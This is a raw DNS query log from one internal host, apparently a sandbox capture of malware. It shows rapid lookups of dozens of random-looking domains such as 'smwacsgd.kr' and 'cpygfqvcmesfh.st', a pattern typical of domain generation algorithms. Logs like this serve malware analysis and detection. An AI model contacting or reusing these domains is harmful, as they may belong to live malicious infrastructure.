Sep 8, 2024 08:40:38.730914116 CEST	192.168.2.5	1.1.1.1	0x34da	Standard query (0)	smwacsgd.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:38.744385004 CEST	192.168.2.5	1.1.1.1	0xc4a	Standard query (0)	smwacsgd.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:38.855988026 CEST	192.168.2.5	1.1.1.1	0xbec	Standard query (0)	swnyn.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:39.996661901 CEST	192.168.2.5	1.1.1.1	0x8fd3	Standard query (0)	onciwoggkhkqe.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.007443905 CEST	192.168.2.5	1.1.1.1	0x4d92	Standard query (0)	onciwoggkhkqe.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.122800112 CEST	192.168.2.5	1.1.1.1	0x47dc	Standard query (0)	ikvwxxugr.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.298875093 CEST	192.168.2.5	1.1.1.1	0x5b57	Standard query (0)	ikvwxxugr.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.605922937 CEST	192.168.2.5	1.1.1.1	0xe9cf	Standard query (0)	xkqosiwf.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.626776934 CEST	192.168.2.5	1.1.1.1	0x5c79	Standard query (0)	xkqosiwf.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.918313026 CEST	192.168.2.5	1.1.1.1	0xb78b	Standard query (0)	mgwqlykmcf.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.995491982 CEST	192.168.2.5	1.1.1.1	0xe35a	Standard query (0)	mgwqlykmcf.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:41.121427059 CEST	192.168.2.5	1.1.1.1	0xbf44	Standard query (0)	otduu.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:42.230794907 CEST	192.168.2.5	1.1.1.1	0xf7eb	Standard query (0)	aehufkfkkkhsq.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:42.421011925 CEST	192.168.2.5	1.1.1.1	0xa04f	Standard query (0)	aehufkfkkkhsq.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:42.935133934 CEST	192.168.2.5	1.1.1.1	0x9ff4	Standard query (0)	gibwyyvuq.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:42.946923018 CEST	192.168.2.5	1.1.1.1	0x252	Standard query (0)	gibwyyvuq.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:43.059145927 CEST	192.168.2.5	1.1.1.1	0x7c8b	Standard query (0)	ovngiemtnjj.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:43.311486959 CEST	192.168.2.5	1.1.1.1	0xb818	Standard query (0)	ovngiemtnjj.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:43.730799913 CEST	192.168.2.5	1.1.1.1	0x9451	Standard query (0)	avsmmylpfta.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:43.930839062 CEST	192.168.2.5	1.1.1.1	0xe903	Standard query (0)	avsmmylpfta.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.262144089 CEST	192.168.2.5	1.1.1.1	0xe245	Standard query (0)	zsocvau.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.273299932 CEST	192.168.2.5	1.1.1.1	0x9348	Standard query (0)	zsocvau.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.387362957 CEST	192.168.2.5	1.1.1.1	0x536c	Standard query (0)	uswnynvgayc.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.560162067 CEST	192.168.2.5	1.1.1.1	0xcc23	Standard query (0)	uswnynvgayc.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.684093952 CEST	192.168.2.5	1.1.1.1	0x2835	Standard query (0)	mouumssegx.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.694947958 CEST	192.168.2.5	1.1.1.1	0x2977	Standard query (0)	mouumssegx.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.809029102 CEST	192.168.2.5	1.1.1.1	0xae87	Standard query (0)	guesfdq.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.864597082 CEST	192.168.2.5	1.1.1.1	0x15cb	Standard query (0)	guesfdq.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:45.027887106 CEST	192.168.2.5	1.1.1.1	0x9488	Standard query (0)	aswkcisacbeyp.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:46.449644089 CEST	192.168.2.5	1.1.1.1	0xef0b	Standard query (0)	temkmouegeec.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:46.748994112 CEST	192.168.2.5	1.1.1.1	0xf704	Standard query (0)	temkmouegeec.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:46.887142897 CEST	192.168.2.5	1.1.1.1	0x8018	Standard query (0)	kocxyuy.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:47.153675079 CEST	192.168.2.5	1.1.1.1	0x387c	Standard query (0)	kocxyuy.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:47.418817043 CEST	192.168.2.5	1.1.1.1	0x41e4	Standard query (0)	fanamklnfoyip.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:47.917483091 CEST	192.168.2.5	1.1.1.1	0xe85f	Standard query (0)	fanamklnfoyip.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.121445894 CEST	192.168.2.5	1.1.1.1	0xbc0a	Standard query (0)	kufirw.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.396670103 CEST	192.168.2.5	1.1.1.1	0xa08f	Standard query (0)	kufirw.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.559111118 CEST	192.168.2.5	1.1.1.1	0xafa9	Standard query (0)	maaqszkltdgma.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.659236908 CEST	192.168.2.5	1.1.1.1	0xa74f	Standard query (0)	maaqszkltdgma.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:48.871471882 CEST	192.168.2.5	1.1.1.1	0xd699	Standard query (0)	kzcgdwoxu.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:50.043322086 CEST	192.168.2.5	1.1.1.1	0x727c	Standard query (0)	qamgstcr.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:50.370533943 CEST	192.168.2.5	1.1.1.1	0x8da9	Standard query (0)	qamgstcr.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:50.523479939 CEST	192.168.2.5	1.1.1.1	0x970a	Standard query (0)	ammbsbmly.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:50.548965931 CEST	192.168.2.5	1.1.1.1	0x240f	Standard query (0)	ammbsbmly.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:51.155641079 CEST	192.168.2.5	1.1.1.1	0x79de	Standard query (0)	teokueuacws.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:51.429533005 CEST	192.168.2.5	1.1.1.1	0x604d	Standard query (0)	teokueuacws.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:51.574475050 CEST	192.168.2.5	1.1.1.1	0x91b9	Standard query (0)	mmocisk.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:51.826823950 CEST	192.168.2.5	1.1.1.1	0x9f7	Standard query (0)	mmocisk.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:52.027818918 CEST	192.168.2.5	1.1.1.1	0x4b19	Standard query (0)	jzhprgkjytu.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:52.078983068 CEST	192.168.2.5	1.1.1.1	0xdbd0	Standard query (0)	jzhprgkjytu.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:52.224674940 CEST	192.168.2.5	1.1.1.1	0x2860	Standard query (0)	kebmuam.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:53.561964989 CEST	192.168.2.5	1.1.1.1	0xced7	Standard query (0)	saaibybmilu.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:53.575299978 CEST	192.168.2.5	1.1.1.1	0xba77	Standard query (0)	saaibybmilu.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:53.715248108 CEST	192.168.2.5	1.1.1.1	0xe97f	Standard query (0)	aemmsikoiqc.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:53.818582058 CEST	192.168.2.5	1.1.1.1	0xd736	Standard query (0)	aemmsikoiqc.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:54.289273024 CEST	192.168.2.5	1.1.1.1	0x8ac7	Standard query (0)	zeocstqbeiwd.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:54.456696987 CEST	192.168.2.5	1.1.1.1	0xab17	Standard query (0)	zeocstqbeiwd.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:54.732677937 CEST	192.168.2.5	1.1.1.1	0xabc0	Standard query (0)	oaqwueszgqabx.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:54.900017977 CEST	192.168.2.5	1.1.1.1	0x9492	Standard query (0)	oaqwueszgqabx.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:55.560547113 CEST	192.168.2.5	1.1.1.1	0x6216	Standard query (0)	qauqcgs.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:55.834616899 CEST	192.168.2.5	1.1.1.1	0x9412	Standard query (0)	qauqcgs.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:55.985193968 CEST	192.168.2.5	1.1.1.1	0x456f	Standard query (0)	uocimcjgwixsm.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.216161966 CEST	192.168.2.5	1.1.1.1	0x2760	Standard query (0)	uocimcjgwixsm.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.496341944 CEST	192.168.2.5	1.1.1.1	0x907d	Standard query (0)	ocwwdbo.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.660548925 CEST	192.168.2.5	1.1.1.1	0x3a3c	Standard query (0)	ocwwdbo.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.920571089 CEST	192.168.2.5	1.1.1.1	0x2ac	Standard query (0)	musqgawai.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:56.940767050 CEST	192.168.2.5	1.1.1.1	0x1143	Standard query (0)	musqgawai.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:57.058959007 CEST	192.168.2.5	1.1.1.1	0x4ba4	Standard query (0)	kkpyodusyue.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.183832884 CEST	192.168.2.5	1.1.1.1	0xd5ee	Standard query (0)	iimvquoqgqqei.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.227942944 CEST	192.168.2.5	1.1.1.1	0xb54d	Standard query (0)	iimvquoqgqqei.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.340812922 CEST	192.168.2.5	1.1.1.1	0x496	Standard query (0)	wxmgqzezoha.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.633419991 CEST	192.168.2.5	1.1.1.1	0x3022	Standard query (0)	wxmgqzezoha.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.772538900 CEST	192.168.2.5	1.1.1.1	0x63ca	Standard query (0)	jnkweaw.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.791791916 CEST	192.168.2.5	1.1.1.1	0xf491	Standard query (0)	jnkweaw.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:58.920581102 CEST	192.168.2.5	1.1.1.1	0x8499	Standard query (0)	ebyhgu.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.092314005 CEST	192.168.2.5	1.1.1.1	0x2109	Standard query (0)	ebyhgu.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.465621948 CEST	192.168.2.5	1.1.1.1	0x7201	Standard query (0)	eooeg.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.591876030 CEST	192.168.2.5	1.1.1.1	0xbb52	Standard query (0)	eooeg.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.746609926 CEST	192.168.2.5	1.1.1.1	0x2996	Standard query (0)	hgwigdppucuja.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.758152008 CEST	192.168.2.5	1.1.1.1	0x8c2b	Standard query (0)	hgwigdppucuja.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.873303890 CEST	192.168.2.5	1.1.1.1	0xfc59	Standard query (0)	guoep.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:59.888398886 CEST	192.168.2.5	1.1.1.1	0x1770	Standard query (0)	guoep.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:00.012084961 CEST	192.168.2.5	1.1.1.1	0x1289	Standard query (0)	lqkrw.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:01.452512026 CEST	192.168.2.5	1.1.1.1	0x732a	Standard query (0)	yyeeoriseyg.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:02.652802944 CEST	192.168.2.5	1.1.1.1	0xe761	Standard query (0)	jyioufyfcv.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:03.809648991 CEST	192.168.2.5	1.1.1.1	0xe6b9	Standard query (0)	sngrcudng.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:04.016473055 CEST	192.168.2.5	1.1.1.1	0xffc4	Standard query (0)	sngrcudng.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:05.652833939 CEST	192.168.2.5	1.1.1.1	0xc961	Standard query (0)	uakwotxkrgn.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:05.664565086 CEST	192.168.2.5	1.1.1.1	0x979e	Standard query (0)	uakwotxkrgn.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:05.777605057 CEST	192.168.2.5	1.1.1.1	0x1668	Standard query (0)	leumyqgypiwu.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:06.951734066 CEST	192.168.2.5	1.1.1.1	0x5378	Standard query (0)	luqcqyqgqia.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.090997934 CEST	192.168.2.5	1.1.1.1	0x3535	Standard query (0)	eweigcuowao.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.111643076 CEST	192.168.2.5	1.1.1.1	0x72e5	Standard query (0)	eweigcuowao.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.233320951 CEST	192.168.2.5	1.1.1.1	0x6084	Standard query (0)	iqaee.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.321124077 CEST	192.168.2.5	1.1.1.1	0x4b0b	Standard query (0)	iqaee.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:08.527785063 CEST	192.168.2.5	1.1.1.1	0x2e1c	Standard query (0)	yiula.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:09.684206009 CEST	192.168.2.5	1.1.1.1	0x50bb	Standard query (0)	mkizqeew.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:10.841758013 CEST	192.168.2.5	1.1.1.1	0xcd85	Standard query (0)	xqkwnymes.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:11.968022108 CEST	192.168.2.5	1.1.1.1	0x20a	Standard query (0)	ekquqk.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:13.128181934 CEST	192.168.2.5	1.1.1.1	0x476a	Standard query (0)	cpygfqvcmesfh.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:14.121361971 CEST	192.168.2.5	1.1.1.1	0x476a	Standard query (0)	cpygfqvcmesfh.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:14.260150909 CEST	192.168.2.5	1.1.1.1	0xaa91	Standard query (0)	cpygfqvcmesfh.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:14.652669907 CEST	192.168.2.5	1.1.1.1	0x704e	Standard query (0)	xrwbjrsfq.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:15.777920961 CEST	192.168.2.5	1.1.1.1	0x46e8	Standard query (0)	pbfut.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:15.790894032 CEST	192.168.2.5	1.1.1.1	0xf91f	Standard query (0)	pbfut.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:16.027230978 CEST	192.168.2.5	1.1.1.1	0xf91f	Standard query (0)	pbfut.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:16.765765905 CEST	192.168.2.5	1.1.1.1	0x749d	Standard query (0)	systea.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:16.974477053 CEST	192.168.2.5	1.1.1.1	0xef1e	Standard query (0)	systea.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:17.230547905 CEST	192.168.2.5	1.1.1.1	0xef1e	Standard query (0)	systea.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:17.434212923 CEST	192.168.2.5	1.1.1.1	0xfbdf	Standard query (0)	auvoaajwyokec.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:17.606772900 CEST	192.168.2.5	1.1.1.1	0x70b1	Standard query (0)	auvoaajwyokec.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:17.928494930 CEST	192.168.2.5	1.1.1.1	0xf4c2	Standard query (0)	pokjmp.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:18.167968035 CEST	192.168.2.5	1.1.1.1	0xf4c2	Standard query (0)	pokjmp.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:19.128825903 CEST	192.168.2.5	1.1.1.1	0xec7a	Standard query (0)	pokjmp.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:19.374839067 CEST	192.168.2.5	1.1.1.1	0xec7a	Standard query (0)	pokjmp.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:20.106600046 CEST	192.168.2.5	1.1.1.1	0xe675	Standard query (0)	ayuging.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:20.118300915 CEST	192.168.2.5	1.1.1.1	0x9c69	Standard query (0)	ayuging.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:20.778206110 CEST	192.168.2.5	1.1.1.1	0x3bc3	Standard query (0)	wppwucgxsac.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:20.940990925 CEST	192.168.2.5	1.1.1.1	0xebe5	Standard query (0)	wppwucgxsac.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:21.183481932 CEST	192.168.2.5	1.1.1.1	0xebe5	Standard query (0)	wppwucgxsac.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:21.357528925 CEST	192.168.2.5	1.1.1.1	0x519e	Standard query (0)	mnhesjsdm.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:22.528172970 CEST	192.168.2.5	1.1.1.1	0x7d0a	Standard query (0)	uypqk.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:22.555903912 CEST	192.168.2.5	1.1.1.1	0x592d	Standard query (0)	uypqk.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:22.803414106 CEST	192.168.2.5	1.1.1.1	0x592d	Standard query (0)	uypqk.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:23.480751991 CEST	192.168.2.5	1.1.1.1	0xd804	Standard query (0)	erggigocgyda.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:23.665707111 CEST	192.168.2.5	1.1.1.1	0x6071	Standard query (0)	erggigocgyda.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:23.949590921 CEST	192.168.2.5	1.1.1.1	0xcc1e	Standard query (0)	szwla.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:25.199537992 CEST	192.168.2.5	1.1.1.1	0x5e1d	Standard query (0)	mrwnkwdpi.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:25.273066998 CEST	192.168.2.5	1.1.1.1	0x9178	Standard query (0)	mrwnkwdpi.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:25.451328993 CEST	192.168.2.5	1.1.1.1	0x1a05	Standard query (0)	ifarjtreekkbk.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:25.566860914 CEST	192.168.2.5	1.1.1.1	0x78fa	Standard query (0)	ifarjtreekkbk.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:25.824517965 CEST	192.168.2.5	1.1.1.1	0x78fa	Standard query (0)	ifarjtreekkbk.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:27.128671885 CEST	192.168.2.5	1.1.1.1	0xdadb	Standard query (0)	qzvocycfi.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:27.140955925 CEST	192.168.2.5	1.1.1.1	0x604b	Standard query (0)	qzvocycfi.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:27.262145996 CEST	192.168.2.5	1.1.1.1	0xeeb7	Standard query (0)	eimsmfki.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:27.512041092 CEST	192.168.2.5	1.1.1.1	0xeeb7	Standard query (0)	eimsmfki.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:28.253384113 CEST	192.168.2.5	1.1.1.1	0xe5e9	Standard query (0)	eimsmfki.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:28.496512890 CEST	192.168.2.5	1.1.1.1	0x37c8	Standard query (0)	yjyupswilwc.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:28.507189035 CEST	192.168.2.5	1.1.1.1	0x3ef0	Standard query (0)	yjyupswilwc.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:28.621578932 CEST	192.168.2.5	1.1.1.1	0x8be3	Standard query (0)	bwyeuvwvjua.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:28.889239073 CEST	192.168.2.5	1.1.1.1	0x8be3	Standard query (0)	bwyeuvwvjua.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:29.117086887 CEST	192.168.2.5	1.1.1.1	0x2341	Standard query (0)	bwyeuvwvjua.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:29.355434895 CEST	192.168.2.5	1.1.1.1	0x2341	Standard query (0)	bwyeuvwvjua.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:29.715066910 CEST	192.168.2.5	1.1.1.1	0xdc0e	Standard query (0)	kihnrsyomjw.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:29.818423986 CEST	192.168.2.5	1.1.1.1	0xe52d	Standard query (0)	kihnrsyomjw.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:30.067605972 CEST	192.168.2.5	1.1.1.1	0xe52d	Standard query (0)	kihnrsyomjw.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:30.418334961 CEST	192.168.2.5	1.1.1.1	0xad33	Standard query (0)	cygwdmgcubg.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:30.429147959 CEST	192.168.2.5	1.1.1.1	0x4259	Standard query (0)	cygwdmgcubg.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:30.544416904 CEST	192.168.2.5	1.1.1.1	0xc0fb	Standard query (0)	doxqxmgqeatua.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:30.792956114 CEST	192.168.2.5	1.1.1.1	0xc0fb	Standard query (0)	doxqxmgqeatua.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.236855030 CEST	192.168.2.5	1.1.1.1	0xbe2b	Standard query (0)	doxqxmgqeatua.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.436738968 CEST	192.168.2.5	1.1.1.1	0x1ae9	Standard query (0)	awuwwaeukke.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.490354061 CEST	192.168.2.5	1.1.1.1	0xcc81	Standard query (0)	awuwwaeukke.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:31.614582062 CEST	192.168.2.5	1.1.1.1	0x2928	Standard query (0)	pkyjaqieysowg.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:32.902641058 CEST	192.168.2.5	1.1.1.1	0xf45c	Standard query (0)	qnbktpkkc.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:34.028321028 CEST	192.168.2.5	1.1.1.1	0xa6a2	Standard query (0)	awyiaincy.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:34.058842897 CEST	192.168.2.5	1.1.1.1	0x1c02	Standard query (0)	awyiaincy.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:34.324305058 CEST	192.168.2.5	1.1.1.1	0x1c02	Standard query (0)	awyiaincy.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:34.668546915 CEST	192.168.2.5	1.1.1.1	0xcafc	Standard query (0)	fauvmo.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:34.918931007 CEST	192.168.2.5	1.1.1.1	0xcafc	Standard query (0)	fauvmo.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:35.462707996 CEST	192.168.2.5	1.1.1.1	0x46ec	Standard query (0)	fauvmo.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:35.661566973 CEST	192.168.2.5	1.1.1.1	0x7724	Standard query (0)	auvoymocm.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:35.907932043 CEST	192.168.2.5	1.1.1.1	0x58b9	Standard query (0)	auvoymocm.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:36.152456045 CEST	192.168.2.5	1.1.1.1	0x58b9	Standard query (0)	auvoymocm.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:36.278425932 CEST	192.168.2.5	1.1.1.1	0xee78	Standard query (0)	fosfeeu.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:37.449568033 CEST	192.168.2.5	1.1.1.1	0xa4ca	Standard query (0)	jcbjoxuf.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:38.629719973 CEST	192.168.2.5	1.1.1.1	0xd1e4	Standard query (0)	psuys.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:38.871519089 CEST	192.168.2.5	1.1.1.1	0xd1e4	Standard query (0)	psuys.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:39.887959003 CEST	192.168.2.5	1.1.1.1	0xd1e4	Standard query (0)	psuys.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:40.161210060 CEST	192.168.2.5	1.1.1.1	0x16d4	Standard query (0)	psuys.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:40.402683973 CEST	192.168.2.5	1.1.1.1	0x16d4	Standard query (0)	psuys.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:40.797307014 CEST	192.168.2.5	1.1.1.1	0x6e0e	Standard query (0)	mukcyiyowswba.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:41.115003109 CEST	192.168.2.5	1.1.1.1	0x6e0e	Standard query (0)	mukcyiyowswba.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:41.357445955 CEST	192.168.2.5	1.1.1.1	0x25ea	Standard query (0)	mukcyiyowswba.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:41.607145071 CEST	192.168.2.5	1.1.1.1	0x25ea	Standard query (0)	mukcyiyowswba.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:42.017301083 CEST	192.168.2.5	1.1.1.1	0xd5f8	Standard query (0)	goqttcgkmqdqn.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:42.217896938 CEST	192.168.2.5	1.1.1.1	0xcf82	Standard query (0)	goqttcgkmqdqn.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:42.376166105 CEST	192.168.2.5	1.1.1.1	0xe71c	Standard query (0)	eefyknsogauwh.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:42.502327919 CEST	192.168.2.5	1.1.1.1	0x5c35	Standard query (0)	eefyknsogauwh.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:42.760545969 CEST	192.168.2.5	1.1.1.1	0x5c35	Standard query (0)	eefyknsogauwh.mp	A (IP address)	IN (0x0001)	false
